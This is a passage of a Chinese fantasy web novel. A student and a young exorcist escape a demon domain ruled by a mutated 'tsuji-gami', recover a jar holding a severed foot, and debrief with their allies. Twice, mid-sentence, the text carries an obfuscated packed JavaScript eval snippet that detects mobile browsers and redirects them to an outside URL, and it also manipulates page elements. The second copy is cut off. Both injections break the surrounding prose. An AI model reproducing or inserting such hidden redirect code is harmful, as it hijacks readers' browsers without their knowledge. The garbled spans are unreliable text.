吴森森和长岛冰茶已经朝着短杖指示的方向走了好一阵子,周围的景色却几乎没有任何变化——同样的苔藓地面,同样的昏暗光线,同样的空旷寂寥。 长岛冰茶手中的“寻踪仪”蓝光虽然稳定地指向一个方向,但他们却感觉像是在原地踏步,或者在一个巨大的迷宫里兜圈子。 “不对……很不对。” 长岛冰茶停下脚步,眉头紧锁,琥珀色的眼眸警惕地扫视着四周, “我的寻踪仪明明显示‘窗户’的能量源就在前方不远,但我们走了这么久,距离感应几乎没有缩短!而且……” 她蹲下身,用短杖拨开一处苔藓,露出下面湿润的泥土,那里有一个不太明显的、她几分钟前刻意留下的标记,“看,我们又绕回来了。” “鬼打墙……” 吴森森喃喃道,想起了高宏亮闲聊时提过的各种超常现象,“是不是有什么东西在干扰我们的方向感,或者扭曲了空间本身?” “很有可能!” 长岛冰茶站起身,表情严肃,“‘域’是妖鬼力量的核心体现,在这里,它们的某些能力会得到极大增强。除了‘窗户’本身的空间穿梭能力,可能还有其他低级的、擅长制造幻觉或扭曲感知的小妖怪在配合它,给我们制造障碍。但我刚才用灵力探查过附近,没有发现明显的妖气波动……除非这东西极其擅长隐匿,或者……” 她咬了咬嘴唇,有些懊恼:“或者它的能力就是单纯地‘影响方向感’,不直接散发妖气,这就很难用常规方法找出来。” 吴森森看着眼前一成不变的苔原,又看了看长岛冰茶手中稳定指向却无法接近的蓝光,脑海中忽然闪过一个念头。 他想起了以前看过的一些心理学和生存技巧文章,也想起了荒教他感受“流动”时的要点——有时候,过于依赖视觉和仪器,反而会被欺骗。 “长岛小姐,” 吴森森开口道,语气带着试探,“既然视觉和你的寻踪仪都可能被干扰,我们能不能……换个方式?比如,屏蔽掉视觉的干扰,纯粹依靠其他感官或者直觉来走?” 长岛冰茶一愣:“屏蔽视觉?怎么屏蔽?闭着眼睛走吗?那更危险,万一踩进陷阱或者撞上什么东西……” “不是完全盲走。” 吴森森解释,“我们可以试试蒙住我的眼睛,由你牵着我的手引导方向和提醒障碍。我集中精神,不去看周围那些可能欺骗眼睛的重复景象,只凭身体的感觉、脚下的触感,还有你对方向的描述来移动。也许这样,能绕过那个干扰我们方向感的东西设定的‘循环’。” 这个提议听起来有点冒险,甚至有些天真。但长岛冰茶看着吴森森认真的眼神,又看了看手中那明明指向目标却无法抵达的寻踪仪,犹豫了片刻。 眼前的困境确实棘手,常规方法似乎无效,或许……可以试试这个中国留学生提出的“笨办法”? “你确定?” 她问,“蒙上眼睛在陌生环境里走,很容易失去平衡,也可能会感到恐慌,尤其是在这种‘域’里。” “总比一直绕圈子强。” 吴森森点点头,从随身的背包里找出一条备用T恤,“用这个蒙住眼睛。你抓紧我,告诉我避开明显的障碍。我相信你的判断。” 长岛冰茶看着吴森森递过来的T恤,又看了看他镇定的神情,终于下定了决心:“……好吧!试试看!不过你要完全信任我,我让你怎么走就怎么走,别自己乱动!” “明白。” 吴森森用T恤紧紧蒙住眼睛,确保没有任何光线透入。瞬间,视觉被剥夺,世界陷入一片黑暗。 其他感官瞬间变得敏锐起来——脚下苔藓湿软的触感,空气中潮湿阴冷的气息,还有身边少女身上淡淡的、类似某种草药皂的味道。 一只微凉但有力的手抓住了他的手腕。是长岛冰茶。 “好,抓紧了。我们先慢慢来……直走。” 长岛冰茶的声音在耳边响起,比平时更清晰,带着一丝紧张,但更多的是专注。 吴森森深吸一口气,迈出了第一步。失去视觉后,方向感果然变得更加混乱,他必须完全依赖长岛冰茶的指引和脚下传来的感觉。长岛冰茶牵着他,开始缓慢地前进。 “稍微向左一点……好,继续直走……小心,前面苔藓有点滑……右边有个小水洼,绕开……对,就这样……” 在吴森森的引导下,长岛冰茶感觉他们走出的路线似乎非常曲折,时而向左绕个大弯,时而又突然向右折返,有时甚至感觉在走“之”字形。 这完全不符合寻踪仪指示的“直线方向”。 然而,走了大约十几分钟后,长岛冰茶的声音突然带上了惊讶:“等等!寻踪仪的信号强度在明显增强!距离在缩短!我们……我们好像走出那个循环了!吴森森,你的方法好像有效!” 吴森森心中一振,但还是保持冷静:“继续,别停。” 又走了一段,脚下的触感开始发生变化。湿软的苔藓逐渐减少,取而代之的是坚硬、粗糙的岩石地面。 空气也似乎变得更加凝滞,那股苔藓的清新腐败气息被一种陈旧、阴冷的感觉取代。 “停下。” 长岛冰茶的声音压得很低,带着警惕,“我们好像到地方了……前面是……一座山?不对,更像是巨大的岩壁。岩壁下面,有一个用石头粗糙堆砌起来的东西,像个小屋或者神龛……” 她小心地引导着吴森森靠近。吴森森虽然看不见,但能感觉到周围的温度似乎更低了一些,一种无形的压力弥漫在空气中。 “可以摘掉眼罩了,” 长岛冰茶说,声音有些紧绷,“但做好心理准备,这里……感觉不太对。” 吴森森扯下蒙眼的T恤,突如其来的幽绿光线让他眯了眯眼。适应光线后,他看清了眼前的景象。 他们正站在一片相对空旷的岩石地带边缘,身后是漫无边际的苔原,而面前,则是一面高耸的、布满了湿滑苔藓和诡异纹理的漆黑岩壁,仿佛是这个“域”的边界。 岩壁底部,有一个用大小不一的黑色石块粗糙垒砌而成的方形结构,大约一人多高,像个简陋的石屋或祭坛。石块缝隙里也长满了厚厚的青苔,显得年代久远。 石屋没有门,只有一个低矮的、需要弯腰才能进入的入口,里面黑黢黢的,看不真切。但在入口处的阴影里,隐约能看到一座模糊的石像轮廓。 石像的形态非常奇怪,难以辨认具体是什么,只能看出是佝偻着、蜷缩着的姿态,表面似乎也覆盖着苔藓和岁月的痕迹,散发出一种令人极其不舒服的、混合了古老、压抑和幽闭感的气息。 “这里……就是寻踪仪指示的终点,‘窗户’能量波动最强烈的地方。” 长岛冰茶举起短杖,顶端的蓝色晶体此刻光芒变得有些急促,微微闪烁着,“但是……‘窗户’本身在哪里?这个石屋和石像又是什么?” 两人警惕地打量着石屋和石像,没有贸然靠近。吴森森试图调动荒教他的感知术式,去探查石屋内部和石像的情况,但精神力刚一触及那片区域,就感到一阵强烈的眩晕和窒息感,仿佛被无数双眼睛在狭窄的箱子里窥视着,连忙收回。 “这石像……给我的感觉,很像‘窗户’吸取的那种‘幽闭恐惧’情绪,但更加……古老、凝固。” 长岛冰茶脸色有些发白,握紧了短杖,“这里恐怕不单单是‘窗户’的巢穴那么简单。这个‘域’,这个石屋和石像……可能有着更深的来历。” 吴森森环顾四周,岩壁、石屋、石像、无边的苔原……唯独不见那只狡猾的、能够穿梭空间的“窗户”妖鬼。 它藏在哪里?是在石屋里?还是潜伏在周围的苔原阴影中? ———— 长岛冰茶的话让气氛瞬间降到了冰点。 “辻神……久屋岛……” 她喃喃地重复着这两个词,琥珀色的眼眸里充满了前所未有的凝重,甚至有一丝本不该出现在她这个立志毕业的驱魔师脸上的恐惧。 “我在族学的《东瀛妖鬼异闻录·交界篇》里读到过……久屋岛曾经是古代流放囚犯和进行秘密祭祀的岛屿,传说那里因为大量的绝望、背叛和血腥仪式,导致现实与某些‘夹缝’、‘交界’变得异常稀薄,催生过强大的‘辻神’。其特征之一,就是领域内会形成类似无边苔原与孤立岩山的景象,象征着迷失与无路可走的绝望。” 她猛地转头看向那座诡异的石屋和看不清形状的石像,声音发紧:“辻神,本是徘徊在十字路口、岔道、边界等‘交界处’的低级魔物,通常只被评定为一级,能力主要是迷惑旅人,使其迷失方向,甚至诱使其走向死亡。 但记载中提到,如果辻神侥幸占据了某个天然的‘空间薄弱点’或者与某种强大的负面情绪源头结合,就有可能在其影响范围内形成类似‘域’的亚空间,实力会暴涨,评级完全不可预估!” 她深吸一口气,强迫自己冷静分析:“我们被困的这个‘域’,还有这个石屋石像……很可能就是一只变异或强化后的‘辻神’的核心!这里不是单纯的妖鬼巢穴,我们很可能就站在这个‘域’与现实的交界处,也就是辻神力量最强、也最危险的地方!” 她看向吴森森,眼神里充满了警告:“至于那只‘窗户’……它很可能根本不是这里的主导者。它或许只是被这个‘域’吸引,或者干脆就是被辻神奴役的‘伥鬼’!专门利用它的空间穿梭能力,在现实世界里捕捉人类,拖入这个‘域’,作为供养辻神、维持这个‘域’存在的‘粮食’!我们之前遭遇的‘鬼打墙’,可能也掺杂了辻神本身的力量!” 吴森森听得背脊发凉。一级妖鬼在特定条件下能变得如此可怕?还有“伥鬼”的说法……难怪那只“窗户”神出鬼没,还能在一定程度上操控这个“域”。 如果他们面对的不只是一只二级妖鬼,而是一个盘踞在交界处、拥有亚空间领域、还奴役了其他妖鬼的变异“辻神”……那危险性直线飙升! “那……我们现在怎么办?” 吴森森努力保持镇定,但声音还是泄露了一丝紧绷,“你的寻踪仪能找到‘窗户’,能对付辻神吗?” 长岛冰茶苦笑着摇了摇头,握紧了手中光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016487|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒闪烁不定的短杖:“我的寻踪仪主要是追踪‘妖气’和‘空间异常’,对辻神这种更偏向‘规则’、‘领域’和‘精神影响’的魔物,效果会大打折扣,最多只能指出它力量最凝聚的点,也就是那个石屋。至于对付……” 她咬了咬嘴唇,脸上露出不甘和一丝挫败,“如果是一般的二级妖鬼,我有七成把握。但面对这种在‘域’中强化的、可能评级远超记录的变异辻神……我完全没有把握。 族学里教的多是对付实体妖鬼和常见灵体的方法,对这种涉及‘空间规则’和‘精神领域’的大家伙……我的知识和装备都严重不足。” 她看向吴森森,眼神复杂:“对不起,是我大意了,把你卷进了这么危险的地方。等下如果情况不对,我想办法拖住它,你……你尽量往远离石屋的方向跑,虽然这个‘域’可能没有真正的出口,但远离核心或许能争取一点时间……” 吴森森看着眼前这个明明自己也很害怕,却还在考虑保护他这个“普通人”的驱魔师少女,心里涌起一股复杂的情绪。他摇了摇头:“别说这种话,我们是一起被困的。而且,未必没有机会。” 他没有立刻解释,而是再次将目光投向那座低矮、阴暗的石屋入口,以及入口处那尊模糊的石像。这一次,他看得更加仔细,不只是看石像,也在看石像前方地面上的情况。 由于光线昏暗,石像前原本看不太清。但此刻凝神望去,吴森森发现石像前方的苔藓地上,似乎散落着一些不规则的东西,像是石头,又像是……供奉的物品? 他小心翼翼地向前挪了两步,眯起眼睛,借着苔原那幽绿朦胧的光线,努力分辨。 那是一些风干的果实(已经萎缩发黑)、几块颜色暗淡的矿石、一些缠绕在一起的、像是头发又像是枯草的东西……以及,在石像正前方最显眼的位置,摆放着一个—— 玻璃罐子。 一个大约一升容量、广口、带着金属盖的普通玻璃罐,就像菜市场里装酱菜的那种。罐子里似乎装着暗红色的、半凝固的液体,而在那液体之中,隐约浸泡着一个…… 吴森森的瞳孔骤然收缩! 那形状,那轮廓……即使浸泡在液体中,即使光线昏暗,即使隔着一段距离,他也绝不会认错——那是一只人类脚部的残肢!从脚踝处断裂,皮肤苍白,趾甲清晰可见,静静地沉在罐底。 一股寒意瞬间从脚底板直冲天灵盖!不是因为恐惧尸块,而是因为一种可怕的熟悉感! 鲜活! 尽管隔着罐子和液体,尽管光线不佳,尽管那脚看起来颜色暗淡,但吴森森脑海中瞬间闪过市场角落里那些瓶瓶罐罐——那些“鲜活”的、仿佛还在运作的人体内脏! 他的直觉,或者说,他因为多次接触而变得敏感的“灵感”,在疯狂尖叫:这个罐子里的脚,和之前见到的那些器官,是同一种“东西”! 同样的技术,或者同样的邪恶力量处理过的产物!绝不是普通的尸体残骸,也不是冷冻品! “长岛!” 吴森森的声音因为震惊而有些变调,他猛地指向那个玻璃罐,“你看那个罐子!里面……里面是人脚!而且……给我的感觉,是长在人体身上而非切除下来的!” “什么?!” 长岛冰茶顺着他指的方向看去,也看清了罐子里的东西,脸色瞬间变得惨白,“祭品……用人体制品做祭品?!还是这种……这种邪门的东西!” “这不是巧合……” 吴森森心脏狂跳,思绪飞转,“辻神……变异辻神……用人体组织做祭品……‘窗户’在现实中捕捉人类……还有那些瓶装器官背后涉及的邪教和人体实验……” 一个可怕的猜想在他脑中成型:这个变异的“辻神”,这个位于交界处的诡异“域”,很可能与“生贽之会”或者其背后的势力有关! 那些“鲜活”的人体组织,不仅仅是实验废弃物,也可能被他们用作某种邪恶仪式或供养特定“存在”的祭品!而这个“辻神”,或许就是他们“培养”或“利用”的对象之一! “长岛,” 吴森森迅速压低声音,语速极快,“这个辻神,还有这个罐子,可能牵扯到我正在调查的一件非常危险的事情。我们必须拿到那个罐子,或者至少确认里面的东西!这可能是关键证据!” 长岛冰茶看着吴森森眼中的决绝,又看了看那个散发着不祥气息的玻璃罐和幽深的石屋入口。 她知道,靠近那里,惊动里面可能存在的“辻神”,风险极大。但她也明白,如果这个罐子真的和某种大规模的人体实验与邪教祭祀有关,其重要性不言而喻。 驱魔师的职责,不仅仅是斩杀妖鬼,也包括阻止利用妖鬼之力危害人间的邪恶行径。 她握紧了短杖,深吸一口气,眼中闪过坚定的光芒:“好!我去拿罐子,你掩护我,用你会的任何方法,注意石屋和石像的动静!一旦有异变,立刻后撤!” 两人迅速交换了一个眼神,达成了共识。长岛冰茶弓起身子,如同灵猫般,开始极其缓慢、谨慎地朝着石屋入口处的祭品堆靠近。 吴森森则屏住呼吸,将手伸进口袋,握住了那几枚刻有防护符文的小石子,同时全力展开荒教的感知术式,将注意力提升到极致,紧紧盯着那座模糊的石像和黑暗的石屋入口。 幽绿的苔原光线中,少女驱魔师的身影逐渐接近那个盛放着恐怖祭品的玻璃罐。 15. 破域 指尖触及冰冷玻璃罐的瞬间,长岛冰茶就知道坏了! “嗡——!” 一股无形的、令人灵魂战栗的悲鸣从石屋深处、从那个模糊的石像身上猛然爆发! 那不是声音,而是直接作用于精神的尖锐哭嚎,充满了无尽的迷失、绝望与怨毒! 长岛冰茶只觉得脑袋像被重锤砸中,眼前一黑,耳中嗡鸣,几乎握不住手中的短杖和刚刚到手的玻璃罐。 与此同时,整个苔原“域”剧烈震颤! 脚下原本只是湿润的青绿色苔藓,瞬间疯狂地蠕动、变黑、硬化,如同无数条冰冷的毒蛇,顺着她的脚踝急速缠绕上来! 更可怕的是,石屋入口处的阴影如同活物般膨胀、蔓延,化作浓得化不开的粘稠黑暗,朝着她和不远处的吴森森汹涌扑来! “加速!结界!” 长岛冰茶强忍头痛,咬牙厉喝,将所剩不多的灵力疯狂注入短杖。她脚下亮起淡青色的光芒,身体速度骤然提升,险之又险地避开了最先缠上来的黑色苔藓。 同时,她单手在身前急速划动,短杖顶端的蓝色晶体迸发出光芒,瞬间在她和吴森森身前凝结出数面半透明的、闪烁着符文的菱形光盾! “噗!噗噗!” 黑暗撞击在光盾上,发出沉闷的腐蚀声,光盾剧烈闪烁,迅速暗淡。 而那些黑色苔藓也如同有生命般,不断从地面、甚至从空中凭空生出,疯狂地拍打、缠绕着光盾,消耗着其力量。 “吴森森!顶住!我在想办法找薄弱点!” 长岛冰茶脸色苍白,嘴角渗出一丝血迹,维持加速和多重结界对她的负担极大。 她一边奋力抵挡,一边试图用寻踪仪寻找这个“域”可能存在的出口或能量节点。 吴森森的情况同样糟糕。 辻神的精神哭嚎让他头晕目眩,恶心欲呕。 他毫不犹豫地捏碎了口袋里最后一枚防护石子,一层微弱的金光勉强挡住了几缕试图侵入他意识的黑色气息。 但面对四面八方涌来的黑暗和疯长的苔藓,这点防护杯水车薪。 他看到长岛冰茶勉力支撑的背影,看到那迅速破碎的光盾,看到手中玻璃罐里那只苍白的人脚在幽绿光线下显得格外刺目……绝望如同冰冷的潮水,一点点漫上心头。 难道……就要死在这里了吗?死在这个莫名其妙、连天空都没有的鬼地方?和一个才认识不到半天、刚刚成年的日本驱魔师少女一起? 不甘心! 他还有那么多事情没做! 远在故乡的父母还在等他学成归去,画室里未完成的画作,高宏亮先生收留他的恩情还未报答,还有桐岛凛、森内彻、荒……他们正在追查的真相,那些瓶装器官背后的罪恶…… 怎么能死在这里?! 强烈的求生欲与愤怒,如同野火般在他胸中燃烧! 就在这生死一线、精神紧绷到极致的瞬间,他脑海中仿佛有什么东西“啪”地一声断裂了! 不是恐惧,而是一种奇异的清明与决绝! 荒教过的那些简单术式——气流引导、水汽凝聚、感知增强——在他脑中飞速闪过。它们太弱了,对付不了这种怪物。 但荒说过,术式的本质是“引导”与“共鸣”,力量可以以不同形式呈现…… 化刃! 一个近乎本能的念头闪过!他没有武器,但他有“灵”,有“意”,有这满腔的不甘与愤怒!荒说过,他的灵感很高! 电光石火间,吴森森放弃了所有防御的念头,将全部的精神、意念、乃至那股强烈的不甘与愤怒,统统凝聚于右手! 他没有结印,没有念咒,只是遵循着那种“引导”与“共鸣”的感觉,将无形的意念想象成最锋利的刀刃,将周围环境中那无所不在的、幽绿光线中蕴含的微弱“域”之能量,强行“引导”、“压缩”、“塑形”! “嗡——!” 一声清越的、仿佛剑鸣般的颤音,突兀地在压抑的哭嚎与黑暗侵蚀声中响起! 只见吴森森右手虚握之处,空间微微扭曲,一道近乎透明、边缘流转着微弱青白色光晕的、长约半米的虚幻剑影骤然成形! 那并非实体,而是纯粹由他高度凝聚的精神力、意志力,以及从环境中强行“借”来的一丝混乱能量,糅合而成的临时“意念之刃”! “斩!!” 吴森森用尽全身力气,朝着那座不断发出精神哭嚎、显然是“域”之核心的模糊石像,狠狠劈出了这道仓促凝聚、极不稳定的“化刃术”! 几乎在同一时刻—— “嗤啦——!!!” 一声更加宏大、更加凝实、充满狂暴力量的裂帛之声,从他们身侧不远处的“域”之壁障外悍然传来! 仿佛有什么极其锋利、刚猛无俦的东西,从外部强行撕开了这个苔原世界的“外壳”! 吴森森那微弱却带着决绝意志的虚幻剑影,与外部那道沛然莫御的斩击力量,内外夹击,精准无比地同时命中了石像所在的那片空间节点! “咔嚓——!!!” 令人牙酸的碎裂声响彻整个“域”! 那座模糊的石像,连同其周围的空间,如同被重锤砸中的玻璃,轰然崩裂、破碎! 石像本身裂成两半,向两侧歪倒。而被击碎的空间节点处,刺目的、属于现实世界的午后阳光,混杂着树木的清新气息,猛然照射进来! 外面是郁郁葱葱的树林,不远处还能看到熟悉的城市建筑轮廓——正是离吴森森那间出租屋三四公里外的一处城市边缘林地! 裂缝之外,一个高大健硕、手持一柄看起来质朴无华却萦绕着无形锋锐气息的长刀的身影,正保持着挥刀下劈的姿势,赫然是——高宏亮! 他额角见汗,眼神凌厉,胸前的衣服被汗水浸湿了一片,显然刚才那一刀耗费了巨大力量。 “快出来!” 高宏亮的吼声如同惊雷,穿过空间裂缝传来。 内外合力,强行破开了“域”与现实的交界! 不仅打开了生路,那两股力量汇合的冲击,也显然对作为“域”之核心的辻神造成了重创! 石像的哭嚎变成了凄厉的惨叫,整个苔原“域”开始剧烈摇晃、崩塌,黑色的苔藓和蔓延的黑暗如同潮水 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白色火焰接触到黑暗触手和石像的瞬间,如同烈火烹油,轰然爆燃! 那火焰似乎对“污秽”、“邪魔”有着天生的克制,辻神凄厉的惨叫声戛然而止,整个残破的“域”连同其中的石像、残余的黑色苔藓、以及所有辻神的力量残留,全部被这纯白的火焰吞噬,化作一个熊熊燃烧的巨大火团! 火焰燃烧得极其迅速,也极其干净。短短几秒,火团熄灭。 原地只剩下一些焦黑的、失去活性的苔藓残渣,几块碎裂的、失去邪异气息的普石块,以及少数几颗散落在地、微微发光、似乎蕴含着精纯空间或精神能量的半透明晶体碎片。 那个诡异、危险的“鬼神的域”,连同其中变异的“辻神”,彻底烟消云散。 午后的阳光温暖地洒在树林空地上。 吴森森扶着脱力的长岛冰茶,惊魂未定地喘着粗气。 高宏亮收刀入鞘,快步走过来,先确认两人没有大碍,然后目光凝重地看向长岛冰茶怀里的那个玻璃罐,又看了看地上燃烧后留下的晶体碎片。 “没事吧?” 高宏亮问道,目光扫过吴森森还有些苍白的脸,和长岛冰茶虚弱的状态。 “没、没事……多谢高宏先生及时赶到。” 吴森森心有余悸,又充满感激。 长岛冰茶也勉强站稳,向高宏亮行礼:“多谢阁下相助。您是……?” “高宏亮,这小子的临时房东兼保镖。” 高宏亮简单介绍,然后看向那片燃烧后的灰烬,眉头微皱,“刚才那道白炎……是‘净火’?啧,她也来了?” 他话音刚落,树林阴影中,一个穿着紫色改良忍者服、面容冷峻秀丽的女子,无声无息地走了出来。 正是渡边兰。 她手中把玩着一枚刚刚捡起的、还残留着一丝温热的纯白火焰余烬的奇特手里剑,目光平静地扫过在场三人,最后落在了吴森森身上,停留了一瞬。 危机暂时解除。 16. 小会梳理 午后的阳光透过“松和万事屋”那扇有些蒙尘的窗户,在略显杂乱但此刻格外安静的房间内投下温暖的光斑。 紧张和混乱暂时退去,取而代之的是一种精疲力竭后的平静,以及亟待理清的思绪。 众人围坐在办公室中央清理出来的一块空地上,气氛严肃。 吴森森被特别照顾,坐在一张从旁边拖过来的办公椅上——高宏亮和森内彻都知道,让习惯了椅子的夏国人长时间正座是一种折磨。 其余人则都跪坐在榻榻米垫子上。 渡边兰已经换下了那身便于行动的忍者服,穿着一套简洁的深色运动装,头发扎成利落的马尾,脸上没什么表情,但眼神比平时少了几分冷冽,多了些对事态的专注。 她身姿挺拔,即使跪坐也显出一种柔韧而蓄势待发的力量感,只是此刻气氛缓和,不必像执行任务时那般紧绷。 要是让吴森森形容这个刚见过面的女士的话,那就是像一条蛇,还是蛇中之王。 长岛本来打算交接后立刻离开去找新的毕业考核目标,结果站起来还没走几步就倒地睡着了。 她现在则被安置在旁边的待客室沙发上,裹着一条干净的毯子,呼吸均匀,显然已经陷入深度睡眠——连续使用灵力、承受精神攻击,最后还抱着个罐子狂奔,对一个刚出茅庐的驱魔师少女来说,透支得太厉害了。 渡边兰刚才把她抱过去时,动作意外地轻柔。 佐藤莲端着一壶刚煮好的、香气四溢的咖啡小心翼翼地走过来,还没放下,就被森内彻一个眼神打发走了:“去,把后面仓库那批‘特殊清洁剂’的标签重新贴一下,贴整齐点,别偷懒。” 佐藤莲撇撇嘴,但还是听话地溜走了,临走前好奇地瞥了一眼桌上那个显眼的玻璃罐。 现在,核心人员到齐:高宏亮、森内彻、桐岛凛、渡边兰,以及事件中心人物吴森森。桐岛凛明显精神不济,眼下带着浓重的阴影,一贯平整的衬衫也有些皱褶,但他还是强打精神,打开了随身携带的平板电脑。 他是在吴森森失踪后,接到高宏亮紧急联络,连夜从京东赶回来的,几乎没合眼。 “好了,人都齐了,先把情况捋一捋。” 高宏亮揉了揉眉心,率先开口,声音带着熬夜后的沙哑,“昨天晚上,我发现小吴到点没回来,电话打不通,就感觉不对劲。去了他公寓,没人,但有残留的、很淡的‘空间扭曲’和妖气,不是之前湿怨影那种。我立刻联系了森内。” 森内彻点点头,紫绿色的挑染在阳光下有些扎眼:“我发动了能用的所有街头眼线,查监控、问附近的人,但小吴就像凭空消失了一样。那个时间点,附近没人看到异常。我和高宏一边找,一边通知了桐岛。” 桐岛凛推了推眼镜,镜片后的眼睛布满血丝:“我分析了高宏在现场感应到的能量残留,初步判断涉及‘空间转移’或‘亚空间困缚’,类似但不完全等同于‘窗户’妖鬼的常见作案模式。 结合吴森森之前的遭遇,我担心是更深层的势力介入,所以立刻赶了回来。我们几乎找遍了阪大可能相关的区域,但直到快天亮,都一无所获。” 高宏亮接话,语气中带着一丝后怕和不解:“就在天快亮,大概五点多,我开始有点绝望的时候,突然……感知到了一股非常微弱、但极其熟悉的‘气’——小吴的,还夹杂着另一个陌生的、带着驱魔师灵力的气息。 但那感觉不是来自某个具体方向,而是像隔着一层厚厚的毛玻璃,从‘另一个地方’透出来的。我凭着直觉,锁定了一片看起来空无一物的树林,把剩下的力量全赌上了,用了一招……” 他顿了顿,看向渡边兰。 渡边兰平静地接口:“打破域的那一击非常类似‘心斩’。 犬神或犬妖一脉传说中的高阶绝技,理论上不需要实体武器,以纯粹的意志、精神力和血脉力量为刃,可以斩断虚妄、劈开结界、甚至干涉空间。 但据我所知,这种技巧对使用者的血脉浓度、意志强度和瞬间爆发力要求极高,且极难掌握,通常只存在于传说或家族最深处的记载中。” 她看向高宏亮和吴森森,“高宏前辈刚才那一刀,虽然借助了刀具作为媒介和力量放大器,但其核心的‘意’和‘势’,已经触摸到了‘心斩’的门槛。而吴森森……” 她的目光转向吴森森,带着探究:“你在‘域’内最后使出的那一记……姑且称之为‘化刃术’,其原理与‘心斩’有异曲同工之妙,都是以高度凝聚的精神意念强行干涉现实。 不同的是,你没有任何血脉基础,纯粹依靠自身的‘灵感’和绝境下的意志爆发。更重要的是,你们两人的攻击,一内一外,几乎在同一时刻,以类似‘共鸣’的方式,击中了‘域’最薄弱的关键节点。这不仅仅是巧合,更像是……某种难以言喻的同步。” 桐岛凛在平板上记录着,补充道:“从能量协同角度分析,内外夹击产生的破坏效应远大于简单叠加,很可能是引发了某种‘共振’,这才一举破开了那个‘域’。单凭任何一方的力量,恐怕都难以做到。” “哦,主要是高宏亮的心斩不是完整版的。” 吴森森听得有些恍惚。他只是不甘心等死,下意识地用了荒教的东西,没想到会和外面高宏亮的攻击产生这样的效果。“我……在里面感觉只过了一两个小时,没想到外面已经天快亮了。” “很正常。” 森内彻灌了一大口咖啡提神,“‘域’的规则和现实不同,时间流速差异是最常见的现象之一。 有些‘域’里感觉过了很久,外面才几分钟;也有些相反。你们遇到的这个,时间流速比大概是……里面一小时,外面三四个小时?算是不太夸张的。真要碰到那种‘里面百年,外面一瞬’的绝地,那才叫完蛋。” 话题转回那个玻璃罐。 所有人的目光都聚焦在桌上那个散发着不祥气息的容器上。 里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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桐岛凛已经拿出便携式的检测设备,开始隔着玻璃罐对里面的液体和断脚进行非接触式的初步扫描。“需要尽快分析这液体的成分、断脚的‘保鲜’状态、以及其与之前样本的关联性。还有那些从‘域’里带出来的石块和晶体碎片。” 他看向森内彻,“房东那边?” 森内彻咧嘴一笑,比了个“搞定”的手势:“放心,我亲自去‘谈’的。退租手续办妥了,押金全退,一分没少。毕竟那房子‘闹鬼’证据确凿,” 他晃了晃手机里拍的公寓内部诡异痕迹的照片,“房东理亏,而且……我稍微‘提醒’了他一下,继续出租可能惹上更大的麻烦。他很识相。” 吴森森松了口气,真诚道谢:“谢谢森内先生。” 这笔钱对他来说不是小数目。 “小事。” 森内彻摆摆手,随即正色道,“不过,小吴,你现在算是被彻底盯上了。公寓退了,但麻烦没退。那个什么会,还有他们可能操控的妖魔鬼怪,知道你,而且看样子不想放过你。以后出入千万小心。” 高宏亮也沉声道:“从今天起,特训加倍。至少你得有基本的自保和预警能力。兰,” 他看向渡边兰,“你侦查和反追踪是专家,最近多留意一下小吴周围,看看有没有尾巴。” 渡边兰微微颔首:“明白。” 疲惫感如同潮水般再次涌上,尤其是看到桐岛凛强撑着精神操作仪器,高宏亮眼里的血丝,森内彻掩不住的困倦,以及沙发上沉睡的长岛冰茶。 吴森森看着桌上那个浸泡着断脚的玻璃罐,又看看身边这群为了他奔波一夜、各显神通的同伴们,心中百感交集。 17. 明治之森 吴森森眨了眨眼,慢慢从深沉的睡眠中醒来。 身体各处传来隐隐的酸痛,尤其是大脑,有种使用过度的昏沉感,那是精神力透支的后遗症。 但比起昨天在“鬼神的域”里那种濒死的恐惧和精疲力竭,这已经好太多了。 他躺在床上,发了一会儿呆。 昨天发生的一切——诡异的退租、从天而降的驱魔师少女、无边无际的苔原、可怕的辻神、内外合力的破局——如同一场漫长而荒诞的噩梦,却又无比真实。 指尖仿佛还残留着凝聚“化刃术”时那种奇异的触感,鼻尖似乎还能闻到高宏亮先生身上那股令人安心的、混合着麦香和温暖动物毛发的气息…… 想到高宏亮,吴森森心里暖暖的。 昨晚回到“春枝”后,一向粗犷爽朗的高宏亮,在关上店门、确认周围安全后,罕见地沉默了片刻,然后转身,用那双因为常年握刀和颠勺而布满薄茧却异常宽厚温暖的大手,小心地抱了抱他。 那个拥抱很用力,带着一种后怕的余悸,却又克制地没有弄疼他。 吴森森能清晰地感觉到高宏亮结实胸膛下有力的心跳,以及透过衣物传来的、令人安心的体温。 那股独特的、仿佛阳光晒过的麦田和大型犬科动物干净皮毛混合的气息,将他整个人包裹,瞬间驱散了心底最后一丝因惊险遭遇而产生的冰冷颤抖。 “没事了,回来就好。” 高宏亮的声音在他头顶响起,有些闷,但异常沉稳。 吴森森没有说什么,只是也用力回抱了一下,然后轻轻“嗯”了一声。 “咳。” 高宏亮很快松开了他,恢复了平时那种有点粗线条的样子,拍了拍他的背,“赶紧洗澡睡觉!明天还要上课吧?别迟到了!” 回忆至此,吴森森脸上不自觉地露出一丝笑意。他甩了甩脑袋,今天可不是回味的时候,他还有“普通”的学业要面对。 起身洗漱,下楼。高宏亮已经精神抖擞地在厨房里准备早餐了,哼着不成调的歌,仿佛昨天那个在树林里挥出惊天一刀、眼神凌厉的男人只是幻觉。 他给吴森森准备了加倍分量的早餐——培根鸡蛋三明治、蔬菜沙拉,还有一大杯热牛奶。“多吃点,补补。今天有课?” “嗯,设计艺术史。” 吴森森接过丰盛的早餐,心里感激,“桐岛先生那边有消息吗?” “那小子估计还在补觉。” 高宏亮擦了擦手,“样本他带走了,以他的作风,不分析出点东西不会轻易联系我们的。让他先睡吧,大家都需要缓缓。” 吃完早餐,吴森森背上画具包,告别高宏亮,走向学校。 清晨的街道熙熙攘攘,上班族和学生行色匆匆,一切看起来那么平常,让昨天那场生死冒险更像一个遥远的梦境。 